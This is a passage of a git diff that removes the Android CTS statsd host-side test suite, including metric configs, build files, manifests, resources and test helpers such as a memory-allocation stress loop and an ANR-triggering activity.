-count_metric {
-  id: 543749824321007836
-  what: 3909523419673092535
-  dimensions_in_what {
-    field: 99
-    child {
-      field: 1
-    },
-    child {
-      field: 2
-    },
-    child {
-      field: 3
-    }
-  }
-  bucket: ONE_DAY
-}
-atom_matcher {
-  id: 3909523419673092535
-  simple_atom_matcher {
-    atom_id: 99
-    field_value_matcher: {
-      eq_int: 1
-      field: 4
-    }
-  }
-}
-allowed_log_source: "AID_GRAPHICS"
-allowed_log_source: "AID_INCIDENTD"
-allowed_log_source: "AID_STATSD"
-allowed_log_source: "AID_RADIO"
-allowed_log_source: "com.android.systemui"
-allowed_log_source: "com.android.vending"
-allowed_log_source: "AID_SYSTEM"
-allowed_log_source: "AID_ROOT"
-allowed_log_source: "AID_BLUETOOTH"
-default_pull_packages: "AID_SYSTEM"
-
-hash_strings_in_metric_report: false
diff --git a/hostsidetests/statsd/OWNERS b/hostsidetests/statsd/OWNERS
deleted file mode 100644
index 5e51cc4..0000000
--- a/hostsidetests/statsd/OWNERS
+++ /dev/null
@@ -1,7 +0,0 @@
-# Bug component: 366902
-jeffreyhuang@google.com
-muhammadq@google.com
-singhtejinder@google.com
-tsaichristine@google.com
-yaochen@google.com
-yro@google.com
diff --git a/hostsidetests/statsd/PROCSTATSQ_PROCS_STATE_CACHED_EMPTY_DURATION.pbtxt b/hostsidetests/statsd/PROCSTATSQ_PROCS_STATE_CACHED_EMPTY_DURATION.pbtxt
deleted file mode 100644
index 6655599..0000000
--- a/hostsidetests/statsd/PROCSTATSQ_PROCS_STATE_CACHED_EMPTY_DURATION.pbtxt
+++ /dev/null
@@ -1,70 +0,0 @@
-# DURATION_PROCESS_STATE_IN_CACHED_EMPTY_PER_PROC_NAME_PACKAGE_NAME_VERSION
-id: -6109199674574072698
-duration_metric {
-  id: -7871805656933174442
-  what: -4194528603977557137
-  aggregation_type: SUM
-  dimensions_in_what {
-    field: 3
-    child {
-      field: 2
-    }
-    child {
-      field: 3
-    }
-    child {
-      field: 5
-    }
-  }
-  bucket: ONE_MINUTE
-}
-# PROC_STATE NOT IN CACHED_EMPTY
-atom_matcher {
-  id: -2354884036751182872
-  combination {
-    operation: NOT
-    matcher: -7794766650955623092
-  }
-}
-# PROC_STATE IN CACHED_EMPTY
-atom_matcher {
-  id: -7794766650955623092
-  simple_atom_matcher {
-    atom_id: 3
-    field_value_matcher {
-      field: 4
-      eq_int: 1018
-    }
-  }
-}
-predicate {
-  id: -4194528603977557137
-  simple_predicate {
-    start: -7794766650955623092
-    stop: -2354884036751182872
-    count_nesting: false
-    dimensions {
-      field: 3
-      child {
-        field: 2
-      }
-      child {
-        field: 3
-      }
-      child {
-        field: 5
-      }
-    }
-  }
-}
-allowed_log_source: "AID_GRAPHICS"
-allowed_log_source: "AID_INCIDENTD"
-allowed_log_source: "AID_STATSD"
-allowed_log_source: "AID_RADIO"
-allowed_log_source: "com.android.systemui"
-allowed_log_source: "com.android.vending"
-allowed_log_source: "AID_SYSTEM"
-allowed_log_source: "AID_ROOT"
-allowed_log_source: "AID_BLUETOOTH"
-default_pull_packages: "AID_SYSTEM"
-hash_strings_in_metric_report: false
diff --git a/hostsidetests/statsd/PROCSTATSQ_PROCS_STATE_PSS_VALUE.pbtxt b/hostsidetests/statsd/PROCSTATSQ_PROCS_STATE_PSS_VALUE.pbtxt
deleted file mode 100644
index 7f071e3..0000000
--- a/hostsidetests/statsd/PROCSTATSQ_PROCS_STATE_PSS_VALUE.pbtxt
+++ /dev/null
@@ -1,45 +0,0 @@
-# VALUE_MAX_PSS_PER_PROC_NAME_PACKAGE_NAME_VERSION
-id: -6109199674574072698
-value_metric {
-  id: 1867856787681329178
-  what: -3480158308153459853
-  value_field {
-    field: 18
-    child {
-      field: 4
-    }
-  }
-  dimensions_in_what {
-    field: 18
-    child {
-      field: 2
-    }
-    child {
-      field: 3
-    }
-    child {
-      field: 9
-    }
-  }
-  bucket: ONE_MINUTE
-  aggregation_type: MAX
-}
-# PROCESS_MEMORY_STAT_REPORTED
-atom_matcher {
-  id: -3480158308153459853
-  simple_atom_matcher {
-    atom_id: 18
-  }
-}
-allowed_log_source: "AID_GRAPHICS"
-allowed_log_source: "AID_INCIDENTD"
-allowed_log_source: "AID_STATSD"
-allowed_log_source: "AID_RADIO"
-allowed_log_source: "com.android.systemui"
-allowed_log_source: "com.android.vending"
-allowed_log_source: "AID_SYSTEM"
-allowed_log_source: "AID_ROOT"
-allowed_log_source: "AID_BLUETOOTH"
-default_pull_packages: "AID_SYSTEM"
-
-hash_strings_in_metric_report: false
diff --git a/hostsidetests/statsd/PROCSTATSQ_PROCS_STATE_TOP_DURATION.pbtxt b/hostsidetests/statsd/PROCSTATSQ_PROCS_STATE_TOP_DURATION.pbtxt
deleted file mode 100644
index e388d54..0000000
--- a/hostsidetests/statsd/PROCSTATSQ_PROCS_STATE_TOP_DURATION.pbtxt
+++ /dev/null
@@ -1,91 +0,0 @@
-# DURATION_PROCESS_STATE_IN_TOP_PER_PROC_NAME_PACKAGE_NAME_VERSION
-id: -6109199674574072698
-duration_metric {
-  id: -1365360216258753370
-  what: -8800411078553365796
-  aggregation_type: SUM
-  dimensions_in_what {
-    field: 3
-    child {
-      field: 2
-    }
-    child {
-      field: 3
-    }
-    child {
-      field: 5
-    }
-  }
-  bucket: ONE_MINUTE
-}
-# PROC_STATE NOT IN TOP
-atom_matcher {
-  id: -7829668247086356765
-  combination {
-    operation: NOT
-    matcher: -2987742411590785849
-  }
-}
-# PROCESS_STATE TOP
-atom_matcher {
-  id: 509484152027467470
-  simple_atom_matcher {
-    atom_id: 3
-    field_value_matcher {
-      field: 4
-      eq_int: 1002
-    }
-  }
-}
-# PROCESS_STATE TOP_SLEEPING
-atom_matcher {
-  id: -3293304223207806916
-  simple_atom_matcher {
-    atom_id: 3
-    field_value_matcher {
-      field: 4
-      eq_int: 1011
-    }
-  }
-}
-# PROC_STATE IN TOP
-atom_matcher {
-  id: -2987742411590785849
-  combination {
-    operation: OR
-    matcher: 509484152027467470
-    matcher: -3293304223207806916
-  }
-}
-predicate {
-  id: -8800411078553365796
-  simple_predicate {
-    start: -2987742411590785849
-    stop: -7829668247086356765
-    count_nesting: false
-    dimensions {
-      field: 3
-      child {
-        field: 2
-      }
-      child {
-        field: 3
-      }
-      child {
-        field: 5
-      }
-    }
-  }
-}
-allowed_log_source: "AID_GRAPHICS"
-allowed_log_source: "AID_INCIDENTD"
-allowed_log_source: "AID_STATSD"
-allowed_log_source: "AID_RADIO"
-allowed_log_source: "com.android.systemui"
-allowed_log_source: "com.android.vending"
-allowed_log_source: "AID_SYSTEM"
-allowed_log_source: "AID_ROOT"
-allowed_log_source: "AID_BLUETOOTH"
-default_pull_packages: "AID_SYSTEM"
-
-hash_strings_in_metric_report: false
diff --git a/hostsidetests/statsd/PROCSTATSQ_PULL.pbtxt b/hostsidetests/statsd/PROCSTATSQ_PULL.pbtxt
deleted file mode 100644
index 8444943..0000000
--- a/hostsidetests/statsd/PROCSTATSQ_PULL.pbtxt
+++ /dev/null
@@ -1,59 +0,0 @@
-id: 8835981461554930288
-gauge_metric {
-  id: 543749824321007836
-  what: 3909523419673092535
-  gauge_fields_filter {
-    include_all: true
-  }
-  bucket: ONE_DAY
-  condition: -377136895
-  sampling_type: CONDITION_CHANGE_TO_TRUE
-  # Normal user should have <1000
-  max_num_gauge_atoms_per_bucket: 2000
-}
-atom_matcher {
-  id: 3909523419673092535
-  simple_atom_matcher {
-    atom_id: 10029
-  }
-}
-atom_matcher {
-  id: -1651300237
-  simple_atom_matcher {
-    atom_id: 47
-    field_value_matcher {
-      field: 2
-      eq_int: 1
-    }
-  }
-}
-atom_matcher {
-  id: -1651300236
-  simple_atom_matcher {
-    atom_id: 47
-    field_value_matcher {
-      field: 2
-      eq_int: 2
-    }
-  }
-}
-predicate {
-  id: -377136895
-  simple_predicate {
-    start: -1651300237
-    stop: -1651300236
-    count_nesting: false
-  }
-}
-allowed_log_source: "AID_GRAPHICS"
-allowed_log_source: "AID_INCIDENTD"
-allowed_log_source: "AID_STATSD"
-allowed_log_source: "AID_RADIO"
-allowed_log_source: "com.android.systemui"
-allowed_log_source: "com.android.vending"
-allowed_log_source: "AID_SYSTEM"
-allowed_log_source: "AID_ROOT"
-allowed_log_source: "AID_BLUETOOTH"
-default_pull_packages: "AID_SYSTEM"
-
-hash_strings_in_metric_report: false
diff --git a/hostsidetests/statsd/PROCSTATSQ_PULL_PKG_PROC.pbtxt b/hostsidetests/statsd/PROCSTATSQ_PULL_PKG_PROC.pbtxt
deleted file mode 100644
index 1effda6..0000000
--- a/hostsidetests/statsd/PROCSTATSQ_PULL_PKG_PROC.pbtxt
+++ /dev/null
@@ -1,59 +0,0 @@
-id: 8835981461554930288
-gauge_metric {
-  id: 543749824321007836
-  what: 3909523419673092535
-  gauge_fields_filter {
-    include_all: true
-  }
-  bucket: ONE_DAY
-  condition: -377136895
-  sampling_type: CONDITION_CHANGE_TO_TRUE
-  # Normal user should have <1000
-  max_num_gauge_atoms_per_bucket: 2000
-}
-atom_matcher {
-  id: 3909523419673092535
-  simple_atom_matcher {
-    atom_id: 10034
-  }
-}
-atom_matcher {
-  id: -1651300237
-  simple_atom_matcher {
-    atom_id: 47
-    field_value_matcher {
-      field: 2
-      eq_int: 1
-    }
-  }
-}
-atom_matcher {
-  id: -1651300236
-  simple_atom_matcher {
-    atom_id: 47
-    field_value_matcher {
-      field: 2
-      eq_int: 2
-    }
-  }
-}
-predicate {
-  id: -377136895
-  simple_predicate {
-    start: -1651300237
-    stop: -1651300236
-    count_nesting: false
-  }
-}
-allowed_log_source: "AID_GRAPHICS"
-allowed_log_source: "AID_INCIDENTD"
-allowed_log_source: "AID_STATSD"
-allowed_log_source: "AID_RADIO"
-allowed_log_source: "com.android.systemui"
-allowed_log_source: "com.android.vending"
-allowed_log_source: "AID_SYSTEM"
-allowed_log_source: "AID_ROOT"
-allowed_log_source: "AID_BLUETOOTH"
-default_pull_packages: "AID_SYSTEM"
-
-hash_strings_in_metric_report: false
diff --git a/hostsidetests/statsd/apps/emptyapp/Android.bp b/hostsidetests/statsd/apps/emptyapp/Android.bp
deleted file mode 100644
index d01d14d2..0000000
--- a/hostsidetests/statsd/apps/emptyapp/Android.bp
+++ /dev/null
@@ -1,28 +0,0 @@
-// Copyright (C) 2020 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-android_test_helper_app {
-    name: "CtsStatsdEmptyApp",
-    defaults: ["cts_defaults"],
-    sdk_version: "current",
-    v4_signature: true,
-}
-
-android_test_helper_app {
-    name: "CtsStatsdEmptySplitApp",
-    defaults: ["cts_defaults"],
-    sdk_version: "current",
-    v4_signature: true,
-    package_splits: ["pl"],
-}
\ No newline at end of file
diff --git a/hostsidetests/statsd/apps/emptyapp/AndroidManifest.xml b/hostsidetests/statsd/apps/emptyapp/AndroidManifest.xml
deleted file mode 100644
index f40d070..0000000
--- a/hostsidetests/statsd/apps/emptyapp/AndroidManifest.xml
+++ /dev/null
@@ -1,22 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-  ~ Copyright (C) 2020 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License.
-  -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="com.android.cts.device.statsd.emptyapp">
-    <application android:hasCode="false" android:label="Empty Test App" />
-</manifest>
-
diff --git a/hostsidetests/statsd/apps/statsdapp/Android.bp b/hostsidetests/statsd/apps/statsdapp/Android.bp
deleted file mode 100644
index 6e0ef51..0000000
--- a/hostsidetests/statsd/apps/statsdapp/Android.bp
+++ /dev/null
@@ -1,60 +0,0 @@
-// Copyright (C) 2017 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-cc_library_shared {
-    name: "liblmkhelper",
-    srcs: ["jni/alloc_stress_activity.cpp"],
-    cflags: [
-        "-Wall",
-        "-Werror",
-    ],
-    header_libs: ["jni_headers"],
-    shared_libs: ["liblog"],
-    stl: "c++_static",
-    sdk_version: "current",
-}
-
-android_test_helper_app {
-    name: "CtsStatsdApp",
-    defaults: ["cts_defaults"],
-    platform_apis: true,
-    min_sdk_version: "24",
-    srcs: [
-        "src/**/*.java",
-        ":statslog-statsd-cts-java-gen",
-    ],
-    libs: [
-        "android.test.runner",
-        "junit",
-        "org.apache.http.legacy",
-    ],
-    privileged: true,
-    static_libs: [
-        "ctstestrunner-axt",
-        "compatibility-device-util-axt",
-        "androidx.legacy_legacy-support-v4",
-        "androidx.test.rules",
-        "cts-net-utils",
-        "BlobStoreTestUtils"
-    ],
-    jni_libs: ["liblmkhelper"],
-    compile_multilib: "both",
-}
-
-genrule {
-    name: "statslog-statsd-cts-java-gen",
-    tools: ["stats-log-api-gen"],
-    cmd: "$(location stats-log-api-gen) --java $(out) --module cts --javaPackage com.android.server.cts.device.statsd --javaClass StatsLogStatsdCts",
-    out: ["com/android/server/cts/device/statsd/StatsLogStatsdCts.java"],
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/AndroidManifest.xml b/hostsidetests/statsd/apps/statsdapp/AndroidManifest.xml
deleted file mode 100644
index 2b479bd..0000000
--- a/hostsidetests/statsd/apps/statsdapp/AndroidManifest.xml
+++ /dev/null
@@ -1,112 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2017 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="com.android.server.cts.device.statsd"
-          android:versionCode="10" >
-    <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />
-    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
-    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
-    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
-    <uses-permission android:name="android.permission.BLUETOOTH"/>
-    <uses-permission android:name="android.permission.BLUETOOTH_ADMIN"/>
-    <uses-permission android:name="android.permission.CAMERA"/>
-    <uses-permission android:name="android.permission.CHANGE_NETWORK_STATE"/>
-    <uses-permission android:name="android.permission.CHANGE_WIFI_MULTICAST_STATE"/>
-    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
-    <uses-permission android:name="android.permission.CONFIGURE_DISPLAY_BRIGHTNESS" />
-    <uses-permission android:name="android.permission.DUMP" /> <!-- must be granted via pm grant -->
-    <uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
-    <uses-permission android:name="android.permission.INTERNET" />
-    <uses-permission android:name="android.permission.READ_SYNC_STATS" />
-    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
-    <uses-permission android:name="android.permission.VIBRATE" />
-    <uses-permission android:name="android.permission.WAKE_LOCK" />
-    <uses-permission android:name="android.permission.WRITE_SYNC_SETTINGS" />
-
-    <application android:label="@string/app_name">
-        <uses-library android:name="android.test.runner" />
-        <uses-library android:name="org.apache.http.legacy" android:required="false" />
-
-        <service android:name=".StatsdCtsBackgroundService" android:exported="true" />
-        <activity android:name=".StatsdCtsForegroundActivity" android:exported="true" />
-        <service android:name=".StatsdCtsForegroundService"
-                 android:foregroundServiceType="camera" android:exported="true" />
-
-        <activity
-            android:name=".VideoPlayerActivity"
-            android:label="@string/app_name"
-            android:resizeableActivity="true"
-            android:supportsPictureInPicture="true"
-            android:configChanges="screenSize|smallestScreenSize|screenLayout|orientation"
-            android:launchMode="singleTop" >
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
-            </intent-filter>
-        </activity>
-
-        <activity android:name=".DaveyActivity" android:exported="true" />
-        <activity android:name=".HiddenApiUsedActivity" android:exported="true" />
-        <activity
-            android:name=".ANRActivity"
-            android:label="ANR Test Activity"
-            android:launchMode="singleInstance"
-            android:process=":ANRProcess"
-            android:exported="true"
-          />
-
-        <service android:name=".StatsdAuthenticator"
-            android:exported="false">
-            <intent-filter>
-                <action android:name="android.accounts.AccountAuthenticator" />
-            </intent-filter>
-
-            <meta-data android:name="android.accounts.AccountAuthenticator"
-                android:resource="@xml/authenticator" />
-        </service>
-        <service android:name="StatsdSyncService"
-            android:exported="false" >
-            <intent-filter>
-                <action android:name="android.content.SyncAdapter" />
-            </intent-filter>
-            <meta-data android:name="android.content.SyncAdapter"
-                android:resource="@xml/syncadapter" />
-        </service>
-
-        <provider android:name=".StatsdProvider"
-            android:authorities="com.android.server.cts.device.statsd.provider" />
-
-        <service android:name=".StatsdJobService"
-            android:permission="android.permission.BIND_JOB_SERVICE" />
-
-        <service android:name=".DummyCallscreeningService"
-                 android:permission="android.permission.BIND_SCREENING_SERVICE">
-            <intent-filter>
-                <action android:name="android.telecom.CallScreeningService" />
-            </intent-filter>
-        </service>
-
-        <service android:name=".IsolatedProcessService" android:isolatedProcess="true" />
-    </application>
-
-    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="com.android.server.cts.device.statsd"
-                     android:label="CTS tests of android.os.statsd stats collection">
-        <meta-data android:name="listener"
-                   android:value="com.android.cts.runner.CtsTestRunListener" />
-    </instrumentation>/>
-</manifest>
diff --git a/hostsidetests/statsd/apps/statsdapp/jni/alloc_stress_activity.cpp b/hostsidetests/statsd/apps/statsdapp/jni/alloc_stress_activity.cpp
deleted file mode 100644
index b98a04b..0000000
--- a/hostsidetests/statsd/apps/statsdapp/jni/alloc_stress_activity.cpp
+++ /dev/null
@@ -1,53 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- *
- */
-
-#include <algorithm>
-#include <cstring>
-#include <fstream>
-#include <iostream>
-#include <jni.h>
-#include <numeric>
-#include <sstream>
-#include <string>
-#include <tuple>
-#include <unistd.h>
-
-#include <android/log.h>
-#define LOG(...) __android_log_write(ANDROID_LOG_INFO, "ALLOC-STRESS", __VA_ARGS__)
-
-using namespace std;
-
-size_t s = 4 * (1 << 20); // 4 MB
-void *gptr;
-extern "C"
-JNIEXPORT void JNICALL
-Java_com_android_server_cts_device_statsd_StatsdCtsBackgroundService_cmain(JNIEnv* , jobject /* this */)
-{
-    long long allocCount = 0;
-    while (1) {
-        char *ptr = (char *)malloc(s);
-        memset(ptr, (int)allocCount >> 10, s);
-        for (int i = 0; i < s; i += 4096) {
-            *((long long *)&ptr[i]) = allocCount + i;
-        }
-        std::stringstream ss;
-        ss << "total alloc: " << allocCount / (1 << 20);
-        LOG(ss.str().c_str());
-        gptr = ptr;
-        allocCount += s;
-    }
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/res/layout/activity_davey.xml b/hostsidetests/statsd/apps/statsdapp/res/layout/activity_davey.xml
deleted file mode 100644
index bf43931..0000000
--- a/hostsidetests/statsd/apps/statsdapp/res/layout/activity_davey.xml
+++ /dev/null
@@ -1,27 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2018 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
-    xmlns:custom="http://schemas.android.com/apk/res/com.android.server.cts.device.statsd"
-    android:layout_width="match_parent"
-    android:layout_height="match_parent"
-    android:orientation="vertical">
-  <com.android.server.cts.device.statsd.DaveyView
-      android:id="@+id/davey_view"
-      android:layout_width="match_parent"
-      android:layout_height="match_parent"
-      custom:causeDavey="false" />
-</LinearLayout>
\ No newline at end of file
diff --git a/hostsidetests/statsd/apps/statsdapp/res/layout/activity_main.xml b/hostsidetests/statsd/apps/statsdapp/res/layout/activity_main.xml
deleted file mode 100644
index a029c80..0000000
--- a/hostsidetests/statsd/apps/statsdapp/res/layout/activity_main.xml
+++ /dev/null
@@ -1,32 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2017 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
-    android:layout_width="fill_parent"
-    android:layout_height="fill_parent"
-    android:orientation="vertical">
-
-    <FrameLayout
-        android:id="@+id/video_frame"
-        android:layout_width="fill_parent"
-        android:layout_height="fill_parent">
-
-        <VideoView
-            android:id="@+id/video_player_view"
-            android:layout_width="fill_parent"
-            android:layout_height="fill_parent" />
-    </FrameLayout>
-</RelativeLayout>
\ No newline at end of file
diff --git a/hostsidetests/statsd/apps/statsdapp/res/raw/colors_video.mp4 b/hostsidetests/statsd/apps/statsdapp/res/raw/colors_video.mp4
deleted file mode 100644
index 0bec670..0000000
--- a/hostsidetests/statsd/apps/statsdapp/res/raw/colors_video.mp4
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/statsd/apps/statsdapp/res/raw/good.mp3 b/hostsidetests/statsd/apps/statsdapp/res/raw/good.mp3
deleted file mode 100644
index d20f772..0000000
--- a/hostsidetests/statsd/apps/statsdapp/res/raw/good.mp3
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/statsd/apps/statsdapp/res/values/attrs.xml b/hostsidetests/statsd/apps/statsdapp/res/values/attrs.xml
deleted file mode 100644
index e769146..0000000
--- a/hostsidetests/statsd/apps/statsdapp/res/values/attrs.xml
+++ /dev/null
@@ -1,20 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!-- Copyright (C) 2018 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<resources>
-  <declare-styleable name="DaveyView">
-    <attr name="causeDavey" format="boolean" />
-  </declare-styleable>
-</resources>
\ No newline at end of file
diff --git a/hostsidetests/statsd/apps/statsdapp/res/values/strings.xml b/hostsidetests/statsd/apps/statsdapp/res/values/strings.xml
deleted file mode 100644
index e40d2ac..0000000
--- a/hostsidetests/statsd/apps/statsdapp/res/values/strings.xml
+++ /dev/null
@@ -1,20 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!-- Copyright (C) 2017 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<resources xmlns:android="http://schemas.android.com/apk/res/android"
-           xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
-    <string name="app_name">CTS Statsd Atoms App</string>
-</resources>
\ No newline at end of file
diff --git a/hostsidetests/statsd/apps/statsdapp/res/xml/authenticator.xml b/hostsidetests/statsd/apps/statsdapp/res/xml/authenticator.xml
deleted file mode 100644
index 71c73d7..0000000
--- a/hostsidetests/statsd/apps/statsdapp/res/xml/authenticator.xml
+++ /dev/null
@@ -1,15 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!-- Copyright (C) 2018 The Android Open Source Project
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-          http://www.apache.org/licenses/LICENSE-2.0
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<account-authenticator xmlns:android="http://schemas.android.com/apk/res/android"
-    android:accountType="com.android.cts.statsd"
-    android:label="@string/app_name" />
\ No newline at end of file
diff --git a/hostsidetests/statsd/apps/statsdapp/res/xml/syncadapter.xml b/hostsidetests/statsd/apps/statsdapp/res/xml/syncadapter.xml
deleted file mode 100644
index d8cb52e..0000000
--- a/hostsidetests/statsd/apps/statsdapp/res/xml/syncadapter.xml
+++ /dev/null
@@ -1,20 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2018 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<sync-adapter xmlns:android="http://schemas.android.com/apk/res/android"
-    android:contentAuthority= "com.android.server.cts.device.statsd.provider"
-    android:accountType="com.android.cts.statsd"
-/>
\ No newline at end of file
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/ANRActivity.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/ANRActivity.java
deleted file mode 100644
index 78b2d2d..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/ANRActivity.java
+++ /dev/null
@@ -1,51 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import android.app.Activity;
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.os.Bundle;
-import android.os.SystemClock;
-import android.view.WindowManager;
-
-public class ANRActivity extends Activity {
-    private static final String TAG = "ANRActivity";
-    private static final String ACTION_ANR = "action_anr";
-
-
-    @Override
-    public void onCreate(Bundle bundle) {
-        super.onCreate(bundle);
-
-        registerReceiver(new BroadcastReceiver() {
-            @Override
-            public void onReceive(Context context, Intent intent) {
-                while (true) {
-                  SystemClock.sleep(2);
-                }
-            }
-        }, new IntentFilter(ACTION_ANR));
-
-        getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON
-                | WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED
-                | WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD
-                | WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON);
-    }
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java
deleted file mode 100644
index b7a4288..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java
+++ /dev/null
